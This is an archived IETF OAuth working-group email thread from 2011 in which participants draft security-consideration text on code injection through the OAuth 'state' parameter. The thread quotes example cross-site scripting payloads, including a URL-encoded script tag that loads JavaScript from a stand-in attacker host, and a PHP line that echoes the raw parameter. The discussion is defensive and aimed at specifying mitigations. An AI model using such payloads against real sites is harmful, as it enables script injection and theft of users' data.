Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 0F30D21F8B2D for ; Mon, 25 Jul 2011 02:37:44 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.137 X-Spam-Level: X-Spam-Status: No, score=-2.137 tagged_above=-999 required=5 tests=[AWL=-0.674, BAYES_00=-2.599, FRT_STRONG2=1.535, HTML_MESSAGE=0.001, J_CHICKENPOX_45=0.6, RCVD_IN_DNSWL_LOW=-1] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id ZbUet82PXJTy for ; Mon, 25 Jul 2011 02:37:42 -0700 (PDT) Received: from mail-qw0-f44.google.com (mail-qw0-f44.google.com [209.85.216.44]) by ietfa.amsl.com (Postfix) with ESMTP id A51F921F8B2C for ; Mon, 25 Jul 2011 02:37:41 -0700 (PDT) Received: by qwc23 with SMTP id 23so3041646qwc.31 for ; Mon, 25 Jul 2011 02:37:41 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=w8jSdksTr68GgxOvXNmmQMmosS2VMvKXWFNsbEnpwAg=; b=riKeB9nvkXzgB6jinhRm3gwqElEPFer4lnsJnt9AR/FAKQsnRQJAByeKEVVcLCbkmY XcVnphdSl/LVhm+5i9oSPJlHKYW1ogIGApNxilgI/02P/DccvkXfdBmQRhhtoFN7xVf3 1FhJCxCTO2imvwdZvyU32CobbjfxIJKS2hHkk= MIME-Version: 1.0 Received: by 10.229.59.68 with SMTP id k4mr3158787qch.237.1311586659771; Mon, 25 Jul 2011 02:37:39 -0700 (PDT) Received: by 10.229.14.42 with HTTP; Mon, 25 Jul 2011 02:37:39 -0700 (PDT) In-Reply-To: <90C41DD21FB7C64BB94121FBBC2E72345021F378B7@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <4E22B021.7080009@cisco.com> <90C41DD21FB7C64BB94121FBBC2E7234501D6E0656@P3PW5EX1MB01.EX1.SECURESERVER.NET> <90C41DD21FB7C64BB94121FBBC2E72345020652CA4@P3PW5EX1MB01.EX1.SECURESERVER.NET> <90C41DD21FB7C64BB94121FBBC2E72345020652CE2@P3PW5EX1MB01.EX1.SECURESERVER.NET> <90C41DD21FB7C64BB94121FBBC2E72345020652D1E@P3PW5EX1MB01.EX1.SECURESERVER.NET> <90C41DD21FB7C64BB94121FBBC2E72345021F378B7@P3PW5EX1MB01.EX1.SECURESERVER.NET> Date: Mon, 25 Jul 2011 10:37:39 +0100 Message-ID: From: Aiden Bell To: Eran Hammer-Lahav Content-Type: multipart/alternative; boundary=0016e64dda1af2a65504a8e190a1 Cc: OAuth WG Subject: Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 25 Jul 2011 09:37:44 -0000 --0016e64dda1af2a65504a8e190a1 Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Sounds good Eran On 25 July 2011 07:37, Eran Hammer-Lahav wrote: > This seems too verbose, considering how fundamental input validation is i= n > general.**** > > ** ** > > I added the following to a new section:**** > > ** ** > > A code injection attack occurs when an input or otherwise > external variable is used by an**** > > application in which that input can cause modification of the > application logic when used**** > > unsanitized. This may allow an attacker to gain access to the > application device or its**** > > data, cause denial of service, or a wide range of malicious > side-effects.**** > > **** > > **** > > The Authorization server and client MUST validate and sanitize > any value received, and in**** > > particular, the value of the =91state=92 and =91redirect_uri=92 > parameters.**** > > ** ** > > EHL**** > > ** ** > > ** ** > > ** ** > > *From:* oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] *On Behalf > Of *Aiden Bell > *Sent:* Wednesday, July 20, 2011 12:04 PM > *To:* OAuth WG > > *Subject:* Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter**** > > ** ** > > See below for revision, tried to follow the "introduction, recommendation= , > example" > structure in 10.12 "Cross-site Request Forgery" and shorten my text. > > I'm strugging to make it clear that any internal modification to the > 'state' parameter > must not affect the re-transmitted value of 'state' in Authorization > Response / Error > Response when it originates from the authorisation server. > > ---**** > > > Security Consideration: Code Injection Attacks**** > > Code injection attacks are when an input or otherwise external variable i= s > used within > an application where that input can cause modification of application log= ic > when unsanitised. This may allow an attacker to gain access to client or > user data, > cause Denial of Service or a wide range of malicious side-effects.**** > > > > Incorrect validation or sanitation of the 'state' parameter from section > 4.1.2 could lead to code > injection. Both client and server SHOULD ensure that the "state" paramete= r > described**** > > in section 4.1.2 is correctly sanitised for internal processing, storage = or > output outside the > scope of the OAuth protocol. > > Failure to correctly sanitise the 'state' parameter can cause code > injection attacks even if a > cryptographically secure extension such as [I-D.ietf-oauth-v2-http-mac] i= s > used. > > As an example, a malicious person may create a fake Error Response as > described in section > 4.1.2.1 containing a maliciously crafted state parameter. The following > request would be sent to > the client: > > > https://client.example.com/cb?error=3Daccess_denied&state=3D%3Cscript%20t= ype%3D%22text%2Fjavascript%22%20src%3D%22http%3A%2F%2Fattacker.example.com%= 2Fmalicious.js%22%20%2F%3E > > Insecure transfer of the decoded value into the HTML buffer of the client > application > may result in the injection of code into the user agent of the end user, > possibly compromising data. > This example attack can be mitigated by sanitising the 'state' parameter = to > remove or escape HTML > syntax before interpolation of the value into server output to the user > agent. > > --end--**** > > On 20 July 2011 19:40, Eran Hammer-Lahav wrote:**** > > Take a look at how the other sections in the draft setup the premise firs= t > and give a quick explanation of the attack=85**** > > **** > > EHL**** > > **** > > *From:* Aiden Bell [mailto:aiden449@gmail.com] > *Sent:* Wednesday, July 20, 2011 11:38 AM > *To:* Eran Hammer-Lahav; OAuth WG**** > > > *Subject:* Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter**** > > **** > > Been following this discussion > > I'll propose some text, though it seems to me it is getting into the real= m > of "Don't trust inputs" > > It is also worth noting that signing the request using something like the > HMAC extension elevates any > problems where you DO need to evaluate the state parameter in some way > where the evaluation process > is too complex to secure (DSLs and languages in state, which is really ug= ly > but, someone may do it). > > Really though, just seems like general application security advice rather > than OAuth specific > > Security Consideration: Code Injection Attacks > > Incorrect validation or sanitation of the 'state' parameter from section > 4.1.2 could lead to code > injection. > > Both client and server SHOULD ensure that the "state" parameter described > in section 4.1.2 is correctly validated, escaped or sanitised prior to > processing for their application's > requirements. Modifications, for security or otherwise to the 'state' > variable contained in the Authorization Request by the > authorization server will not be transmitted to the client in the > Authorization Response or Error Response > as the response 'state' value MUST be identical to the value in the > request. > > If the 'state' parameter passed between client and server contains a valu= e > which is interpreted or > otherwise placed into a context that requires evaluation of the unmodifie= d > value then a cryptographic > scheme such as that defined in [I-D.ietf-oauth-v2-http-mac] should be use= d > to verify request authenticity. > It should be noted however than a cryptographically authentic request may > still contain malicious > code if the client or server integrity can not be established and trusted= . > > As an example, a malicious person may create a fake Error Response as > described in section > 4.1.2.1 containing a maliciously crafted state parameter. The following > request would be sent to > the client: > > > https://client.example.com/cb?error=3Daccess_denied&state=3D%3Cscript%20t= ype%3D%22text%2Fjavascript%22%20src%3D%22http%3A%2F%2Fattacker.example.com%= 2Fmalicious.js%22%20%2F%3E > > Insecure transfer of the decoded value into the HTML buffer of the client > application > may result in the injection of code into the user agent of the end user, > possibly compromising data. > This example attack can be mitigated by sanitising the 'state' parameter = to > remove or escape HTML > syntax before interpolation of the value into server output to the user > agent. > > --end-- > > Not claiming it is good, well written or concise ... but it is proposed. > Even if it is rejected, feedback > would be appreciated. > > Thanks, > Aiden**** > > On 20 July 2011 18:36, Eran Hammer-Lahav wrote:**** > > I think most of your description isn't very relevant to this particular > attack. I'll skip to the part where the legitimate client gets a maliciou= sly > modified state parameter value. > > Your concern seems to be a simple code injection attack (e.g. that some > clients will not properly protect their code from invalid state values). = For > example, a client may use state to pass a JSON string and when it receive= s > it back, calls eval() on the raw state value or even JSON.parse without > catching exceptions. > > The right way to address this is to add a new security consideration > section discussion the various Injection Attacks possible. Using state to > include malicious code is one. Another is code injection in the redirect_= uri > by a malicious client to an authorization server supporting dynamic > redirection URIs. > > Then of course, there really is no need for any elaborate setup for anyon= e > to send requests to the client redirection URI endpoint directly (without > following any of the flow). In such a case, the enforcement of safe state > values by the authorization server will accomplish nothing if the client > doesn't perform its own validation (and we're back to square one). In oth= er > words, I can call any endpoint on the client with any malicious parameter= s > and try to break it. > > But even if you perform input validation on the client side, which should > prevent a code injection attack, you are still open to other malicious > manipulation of the state parameter. For example, a na=EFve client can us= e the > state parameter to pass a user id so that when the redirection callback i= s > called, it can link the access token to that account. That of course, wou= ld > be a very bad thing (tm) without some protection (e.g. state cookie) whic= h > the client can use to validate the state value. > > In short, over specification does not solve ignorance. We can and should > highlight the possible code injection attacks on both the client and > authorization server, as well as other security concerns around the state > parameter. But at the end, it is up to both the client and authorization > server developers to build secure applications. > > So, anyone volunteering to propose text?**** > > > EHL > > > > -----Original Message----- > > From: bigbadbob0@gmail.com [mailto:bigbadbob0@gmail.com] On Behalf Of > > Bob Van Zant**** > > > Sent: Wednesday, July 20, 2011 9:29 AM > > To: Eran Hammer-Lahav > > Cc: Breno; OAuth WG**** > > > Subject: Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter > > > > The problem lies in the inherent trust of the state parameter. The naiv= e > > client application developer assumes that state goes out to the > authorization > > server and comes back unchanged; because that's what the spec says will > > happen. > > > > As a malicious person I use the client application and steal the client > id when > > I'm redirected to the authorization server. > > > > I then craft my own authorization URL pretending to act on behalf of th= e > > client application. > > > > http://example.com/oauth/authorize?client_id=3Ddeadbeef&response_type= =3D > > code&state=3D%3Cscript%3Ealert%28%22omg%22%29%3B%3C%2Fscript%3E > > > > I send that out to unsuspecting people. Those people are sent to my sit= e; > > maybe they trust it. The site is asking them to authorize an applicatio= n > they > > perhaps they're familiar with. So they do. > > > > Now the assumption, and it's really not much of a leap of faith, is tha= t > some > > client developer is going to take that state variable and put it direct= ly > into > > their site. In PHP it could be something silly > > like: > > > > Thanks for authorizing our app, $_GET["state"]. > > > > Chrome protects me from this basic attack (I just inserted it into one = of > my > > demos): Refused to execute a JavaScript script. Source code of script > found > > within request. Other browsers won't. Real attackers are more creative > than > > me. > > > > -Bob > > > > > > > > > > > > On Wed, Jul 20, 2011 at 9:11 AM, Eran Hammer-Lahav > > wrote: > > > Can you provide examples of bad values and how they make the > > implementation less secure? What's the attack vector here? > > > > > > EHL > > > > > >> -----Original Message----- > > >> From: bigbadbob0@gmail.com [mailto:bigbadbob0@gmail.com] On Behalf > > Of > > >> Bob Van Zant > > >> Sent: Wednesday, July 20, 2011 9:10 AM > > >> To: Breno; Eran Hammer-Lahav > > >> Cc: OAuth WG > > >> Subject: Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter > > >> > > >> I think somewhere in here my original comments got lost. The spec, a= s > > >> written, provides no limitations on what can go in the state variabl= e. > > >> If we don't define those limitations in the spec implementors are > > >> going to define their own limitations (I'm on the verge of doing it > myself). > > >> > > >> I propose that the state variable be limited to the set of character= s > > >> [a-zA-Z0- 9_-] and be restricted to a maximum length of 150 > characters. > > >> It's simple, doesn't require URL encoding, and will be hard for a > > >> client application to turn into a vulnerability. It provides plenty > > >> of uniqueness (it can fit a sha512) for even the largest and most us= ed > > client applications. > > >> > > >> -Bob > > >> > > >> > > >> On Wed, Jul 20, 2011 at 8:24 AM, Breno > > >> wrote: > > >> > > > >> > > > >> > On Mon, Jul 18, 2011 at 11:32 PM, Eran Hammer-Lahav > > >> > > > >> > wrote: > > >> >> > > >> >> > > >> >> > -----Original Message----- > > >> >> > From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On > > >> >> > Behalf Of Eliot Lear > > >> >> > Sent: Sunday, July 17, 2011 2:49 AM > > >> >> > > >> >> > One other point: if the redirection_uri can have fragments and > > >> >> > can be provided, why is state necessary? > > >> >> > > >> >> First, I assume you mean query instead of fragment. > > >> >> > > >> >> This was discussed on the list about a year ago. There isn't a > > >> >> requirement to support both dynamic redirection URIs as well as a > > >> >> special state parameter. However, the state parameter provides a > > >> >> better way to allow customization of the redirection request > > >> >> alongside full registration of the redirection URI. Section 3.1.2 > > >> >> recommends using the state parameter over changing the redirectio= n > > >> >> URI > > >> itself. > > >> >> > > >> >> Using state is much simpler because the authorization server does > > >> >> not have to implement potentially insecure URI comparison > > >> >> algorithms for dynamic redirection URIs. > > >> > > > >> > Agree -- for instance, Google's provider doesn't allow arbitrary > > >> > dynamic specification of query or fragment parameters in redirect > > >> > URIs, for instance, due largely to security considerations. > > >> > > > >> >> > > >> >> EHL > > >> >> _______________________________________________ > > >> >> OAuth mailing list > > >> >> OAuth@ietf.org > > >> >> https://www.ietf.org/mailman/listinfo/oauth > > >> > > > >> > > > >> > > > >> > -- > > >> > Breno de Medeiros > > >> > > > >> > > > > > _______________________________________________ > OAuth mailing list > OAuth@ietf.org > https://www.ietf.org/mailman/listinfo/oauth**** > > > > > -- > ------------------------------------------------------------------ > Never send sensitive or private information via email unless it is > encrypted. http://www.gnupg.org**** > > > > > -- > ------------------------------------------------------------------ > Never send sensitive or private information via email unless it is > encrypted. http://www.gnupg.org**** > --=20 ------------------------------------------------------------------ Never send sensitive or private information via email unless it is encrypted. http://www.gnupg.org --0016e64dda1af2a65504a8e190a1 Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Sounds good Eran

On 25 July 2011 07:37, E= ran Hammer-Lahav <eran@hueniverse.com> wrote:

This seems too verbose, = considering how fundamental input validation is in general.

=A0

I added the following to a new section:

=A0

=A0=A0=A0=A0=A0=A0=A0= =A0=A0 A code injection attack occurs when an input or otherwise external v= ariable is used by an

=A0=A0 =A0=A0=A0=A0=A0=A0=A0application in w= hich that input can cause modification of the application logic when used

=A0=A0=A0=A0=A0=A0=A0=A0=A0 unsanitized. Thi= s may allow an attacker to gain access to the application device or its<= /u>

=A0=A0=A0=A0=A0=A0=A0=A0=A0 data, cause deni= al of service, or a wide range of malicious side-effects.

=A0=A0=A0= =A0=A0=A0=A0 </t>

=A0=A0=A0=A0=A0=A0=A0 <= t= >= <= /p>

=A0=A0=A0=A0=A0=A0=A0=A0=A0 The Authorizatio= n server and client MUST validate and sanitize any value received, and in

=A0=A0=A0=A0=A0=A0=A0=A0=A0 particular, the = value of the =91state=92 and =91redirect_= uri=92 parameters.

=A0

EHL

=A0

=A0

=A0

=

From:= oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On Be= half Of Aiden Bell
Sent: Wednesday, July 20, 2011 12:04 PM
To: OAuth WG


Subject: Re: [OAUTH-WG] O= Auth v2-18 comment on "state" parameter

=A0

See below for revision, tried = to follow the "introduction, recommendation, example"
structur= e in 10.12 "Cross-site Request Forgery" and shorten my text.

I'm strugging to make it clear that any internal modification to th= e 'state' parameter
must not affect the re-transmitted value of = 'state' in Authorization Response / Error
Response when it origi= nates from the authorisation server.

---


Security Consideration: Code Injection Attacks

Code injection attacks are when an input or = otherwise external variable is used within
an application where that input can cause modification of application logic=
when unsanitised. This may allow an attacker to gain access to client o= r user data,
cause Denial of Service or a wide range of malicious side-e= ffects.



Incorrect validation or sanitation of t= he 'state' parameter from section 4.1.2 could lead to code
injec= tion. Both client and server SHOULD ensure that the "state" param= eter described

in section 4.1.= 2 is correctly sanitised for internal processing, storage or output outside= the
scope of the OAuth protocol.

Failure to correctly sanitise = the 'state' parameter can cause code injection attacks even if a cryptographically secure extension such as [I-D.ietf-oauth-v2-http-mac] is = used.

As an example, a malicious person may create a fake Error Resp= onse as described in section
4.1.2.1 containing a maliciously crafted st= ate parameter. The following request would be sent to
the client:

=A0https://client.example.com/cb?error=3Daccess_denied&state=3D%3Csc= ript%20type%3D%22text%2Fjavascript%22%20src%3D%22http%3A%2F%2Fattacker.exam= ple.com%2Fmalicious.js%22%20%2F%3E

Insecure transfer of the decoded value into the HTML buffer of the clie= nt application
may result in the injection of code into the user agent o= f the end user, possibly compromising data.
This example attack can be = mitigated by sanitising the 'state' parameter to remove or escape H= TML
syntax before interpolation of the value into server output to the user age= nt.

--end--

On 20 July = 2011 19:40, Eran Hammer-Lahav <eran@hueniverse.com> wrote:

Take a look at how the other sections in the draft setup the premise f= irst and give a quick explanation of the attack=85

=

=A0

=

EHL

=A0

From: Aiden Bell [mailto:<= a href=3D"mailto:aiden449@gmail.com" target=3D"_blank">aiden449@gmail.com]
Sent: Wednesday, July 20, 2011 11:38 AM
To: Eran Hammer-La= hav; OAuth WG


= Subject: Re: [OAUTH-WG] OAuth v2-18 comment on "state" par= ameter

=A0<= /p>

Been following thi= s discussion

I'll propose some text, though it seems to me it is= getting into the realm of "Don't trust inputs"

It is also worth noting that signing the request using something like t= he HMAC extension elevates any
problems where you DO need to evaluate th= e state parameter in some way where the evaluation process
is too comple= x to secure (DSLs and languages in state, which is really ugly but, someone= may do it).

Really though, just seems like general application security advice rath= er than OAuth specific

Security Consideration: Code Injection Attack= s

Incorrect validation or sanitation of the 'state' paramete= r from section 4.1.2 could lead to code
injection.

Both client and server SHOULD ensure that the "state= " parameter described
in section 4.1.2 is correctly validated, esca= ped or sanitised prior to processing for their application's
require= ments. Modifications, for security or otherwise to the 'state' vari= able contained in the Authorization Request by the
authorization server will not be transmitted to the client in the Authoriza= tion Response or Error Response
as the response 'state' value MU= ST be identical to the value in the request.

If the 'state' = parameter passed between client and server contains a value which is interp= reted or
otherwise placed into a context that requires evaluation of the unmodified = value then a cryptographic
scheme such as that defined in [I-D.ietf-oaut= h-v2-http-mac] should be used to verify request authenticity.
It should = be noted however than a cryptographically authentic request may still conta= in malicious
code if the client or server integrity can not be established and trusted.<= br>
As an example, a malicious person may create a fake Error Response a= s described in section
4.1.2.1 containing a maliciously crafted state pa= rameter. The following request would be sent to
the client:

=A0https://client.example.com/cb?error=3Daccess_denied&state=3D%3Csc= ript%20type%3D%22text%2Fjavascript%22%20src%3D%22http%3A%2F%2Fattacker.exam= ple.com%2Fmalicious.js%22%20%2F%3E

Insecure transfer of the decoded value into the HTML buffer of the clie= nt application
may result in the injection of code into the user agent o= f the end user, possibly compromising data.
This example attack can be = mitigated by sanitising the 'state' parameter to remove or escape H= TML
syntax before interpolation of the value into server output to the user age= nt.

--end--

Not claiming it is good, well written or concise = ... but it is proposed. Even if it is rejected, feedback
would be apprec= iated.

Thanks,
Aiden

On 20 Jul= y 2011 18:36, Eran Hammer-Lahav <eran@hueniverse.com> wrote:

I think most of your description isn't very relevant to this particular= attack. I'll skip to the part where the legitimate client gets a malic= iously modified state parameter value.

Your concern seems to be a si= mple code injection attack (e.g. that some clients will not properly protec= t their code from invalid state values). For example, a client may use stat= e to pass a JSON string and when it receives it back, calls eval() on the r= aw state value or even JSON.parse without catching exceptions.

The right way to address this is to add a new security consideration se= ction discussion the various Injection Attacks possible. Using state to inc= lude malicious code is one. Another is code injection in the redirect_uri b= y a malicious client to an authorization server supporting dynamic redirect= ion URIs.

Then of course, there really is no need for any elaborate setup for any= one to send requests to the client redirection URI endpoint directly (witho= ut following any of the flow). In such a case, the enforcement of safe stat= e values by the authorization server will accomplish nothing if the client = doesn't perform its own validation (and we're back to square one). = In other words, I can call any endpoint on the client with any malicious pa= rameters and try to break it.

But even if you perform input validation on the client side, which shou= ld prevent a code injection attack, you are still open to other malicious m= anipulation of the state parameter. For example, a na=EFve client can use t= he state parameter to pass a user id so that when the redirection callback = is called, it can link the access token to that account. That of course, wo= uld be a very bad thing (tm) without some protection (e.g. state cookie) wh= ich the client can use to validate the state value.

In short, over specification does not solve ignorance. We can and shoul= d highlight the possible code injection attacks on both the client and auth= orization server, as well as other security concerns around the state param= eter. But at the end, it is up to both the client and authorization server = developers to build secure applications.

So, anyone volunteering to propose text?


EHL


> -----Original Message-----
> F= rom: bigbadbob0@g= mail.com [mailto:bigbadbob0@gmail.com] On Behalf Of
> Bob Van Zant

> Sent: = Wednesday, July 20, 2011 9:29 AM
> To: Eran Hammer-Lahav
> Cc: = Breno; OAuth WG

> Subj= ect: Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter
>
> The problem lies in the inherent trust of the state parameter.= The naive
> client application developer assumes that state goes out= to the authorization
> server and comes back unchanged; because that= 's what the spec says will
> happen.
>
> As a malicious person I use the client applica= tion and steal the client id when
> I'm redirected to the authori= zation server.
>
> I then craft my own authorization URL preten= ding to act on behalf of the
> client application.
>
> ht= tp://example.com/oauth/authorize?client_id=3Ddeadbeef&response_type=3D<= /a>
> code&state=3D%3Cscript%3Ealert%28%22omg%22%29%3B%3C%2Fscrip= t%3E
>
> I send that out to unsuspecting people. Those people are sent = to my site;
> maybe they trust it. The site is asking them to authori= ze an application they
> perhaps they're familiar with. So they d= o.
>
> Now the assumption, and it's really not much of a leap of = faith, is that some
> client developer is going to take that state va= riable and put it directly into
> their site. In PHP it could be some= thing silly
> like:
>
> =A0 =A0 Thanks for authorizing our app, $_GET[&q= uot;state"].
>
> Chrome protects me from this basic attack= (I just inserted it into one of my
> demos): Refused to execute a Ja= vaScript script. Source code of script found
> within request. Other browsers won't. Real attackers are more crea= tive than
> me.
>
> -Bob
>
>
>
><= br>>
> On Wed, Jul 20, 2011 at 9:11 AM, Eran Hammer-Lahav
> = <eran@huenivers= e.com> wrote:
> > Can you provide examples of bad values and how they make the
&= gt; implementation less secure? What's the attack vector here?
> = >
> > EHL
> >
> >> -----Original Message--= ---
> >> From: bigbadbob0@gmail.com [mailto:bigbadbob0@gmail.com] On Behalf
> Of
> &= gt;> Bob Van Zant
> >> Sent: Wednesday, July 20, 2011 9:10 AM
> >> To: B= reno; Eran Hammer-Lahav
> >> Cc: OAuth WG
> >> Subj= ect: Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter
> >>
> >> I think somewhere in here my original commen= ts got lost. The spec, as
> >> written, provides no limitations= on what can go in the state variable.
> >> If we don't def= ine those limitations in the spec implementors are
> >> going to define their own limitations (I'm on the verge o= f doing it myself).
> >>
> >> I propose that the st= ate variable be limited to the set of characters
> >> [a-zA-Z0-= 9_-] and be restricted to a maximum length of 150 characters.
> >> It's simple, doesn't require URL encoding, and will b= e hard for a
> >> client application to turn into a vulnerabili= ty. It provides plenty
> >> of uniqueness (it can fit a sha512)= for even the largest and most used
> client applications.
> >>
> >> -Bob
> &g= t;>
> >>
> >> On Wed, Jul 20, 2011 at 8:24 AM, B= reno <br= eno.demedeiros@gmail.com>
> >> wrote:
> >> >
> >> >
> &g= t;> > On Mon, Jul 18, 2011 at 11:32 PM, Eran Hammer-Lahav
> >= ;> > <era= n@hueniverse.com>
> >> > wrote:
> >> >>
> >> >&g= t;
> >> >> > -----Original Message-----
> >&g= t; >> > From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On
> >> >> > Behalf Of Eliot Lear
> >> >> = > Sent: Sunday, July 17, 2011 2:49 AM
> >> >>
> = >> >> > One other point: if the redirection_uri can have fra= gments and
> >> >> > can be provided, why is state necessary?
>= ; >> >>
> >> >> First, I assume you mean quer= y instead of fragment.
> >> >>
> >> >> = This was discussed on the list about a year ago. There isn't a
> >> >> requirement to support both dynamic redirection URIs= as well as a
> >> >> special state parameter. However, t= he state parameter provides a
> >> >> better way to allow= customization of the redirection request
> >> >> alongside full registration of the redirection URI. = Section 3.1.2
> >> >> recommends using the state paramete= r over changing the redirection
> >> >> URI
> >&= gt; itself.
> >> >>
> >> >> Using state is much simple= r because the authorization server does
> >> >> not have = to implement potentially insecure URI comparison
> >> >> = algorithms for dynamic redirection URIs.
> >> >
> >> > Agree -- for instance, Google'= s provider doesn't allow arbitrary
> >> > dynamic specif= ication of query or fragment parameters in redirect
> >> > U= RIs, for instance, due largely to security considerations.
> >> >
> >> >>
> >> >> EHL<= br>> >> >> _______________________________________________> >> >> OAuth mailing list
> >> >> OAuth@ietf.org
> >> >> https://www.ietf.org/mailman/listinfo/oauth
&g= t; >> >
> >> >
> >> >
> >&g= t; > --
> >> > Breno de Medeiros
> >> >
> >>= >
> >
_______________________________________________
OA= uth mailing list
OAu= th@ietf.org
h= ttps://www.ietf.org/mailman/listinfo/oauth




--
------------= ------------------------------------------------------
Never send sensitive or private information via email unless it is encrypte= d. http://www.gnupg.org<= /a>




--
------------------------------------------= ------------------------
Never send sensitive or private information via= email unless it is encrypted. http://www.gnupg.org




= --
------------------------------------------------------------------Never send sensitive or private information via email unless it is encryp= ted. http://www.gnupg.org
--0016e64dda1af2a65504a8e190a1--